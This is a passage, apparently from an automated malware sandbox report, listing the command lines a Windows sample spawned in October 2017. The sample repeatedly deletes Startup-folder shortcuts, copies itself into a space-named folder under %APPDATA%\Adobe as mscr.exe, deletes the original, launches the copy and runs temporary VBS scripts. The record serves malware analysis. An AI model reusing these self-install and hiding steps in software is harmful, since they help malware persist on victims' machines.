"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:12:54.955 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:12:59.963 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:05.262 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:10.590 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:15.665 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:21.001 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:26.299 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:31.636 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:36.954 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:42.274 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:47.281 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:52.619 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:13:57.626 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:14:02.956 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:14:07.981 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:14:12.989 "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" on 2017-10-16.19:14:18.04688:T16ac,"/k @echo.&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&" on 2017-10-16.19:10:36.58989:T1746,"/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&" on 2017-10-16.19:10:36.5898a:T218d,Spawned process "cmd.exe" with commandline "/k @echo.&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&" (UID: 00015175-00003636) Spawned process "cmd.exe" with commandline "/k @echo.&mkdir "%APPDATA%\Adobe\3MRYK\ \"&echo.>>"%APPDATA%\Adobe\3MRYK\update :)"&echo.>>"%APPDATA%\Adobe\3MRYK\ \update :)"&taskkill /f /im mscr.exe© "C:\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe" "%APPDATA%\Adobe\3MRYK\ \mscr.exe"&timeout /t 1 /nobreak>nul&del "C:\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe"&start "" "%APPDATA%\Adobe\3MRYK\ \mscr.exe"&exit&" (UID: 00015176-00003640) Spawned process "taskkill.exe" with commandline "taskkill /f /im mscr.exe" (UID: 00015185-00003672) Spawned process "timeout.exe" with commandline "timeout /t 1 /nobreak" (UID: 00015197-00003656) Spawned process "mscr.exe" (UID: 00015331-00003724) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00016479-00002956) Spawned process "wscript.exe" with commandline ""%TEMP%\startup2788310.vbs"" (UID: 00016531-00002904) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00017009-00003004) Spawned process "wscript.exe" with commandline ""%TEMP%\startup3197659.vbs"" (UID: 00017032-00002832) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00017509-00003192) Spawned process "wscript.exe" with commandline ""%TEMP%\startup7597624.vbs"" (UID: 00017529-00003244) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00018039-00003260) Spawned process "wscript.exe" with commandline ""%TEMP%\startup9321933.vbs"" (UID: 00018059-00003292) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00018570-00003416) Spawned process "wscript.exe" with commandline ""%TEMP%\startup3330015.vbs"" (UID: 00018600-00003456) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00019077-00003532) Spawned process "wscript.exe" with commandline ""%TEMP%\startup196366.vbs"" (UID: 00019098-00002712) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00019610-00004052) Spawned process "wscript.exe" with commandline ""%TEMP%\startup2879488.vbs"" (UID: 00019628-00002896) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00020139-00003616)8b:T16d5,Spawned process "cmd.exe" with commandline "/k @echo.&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start 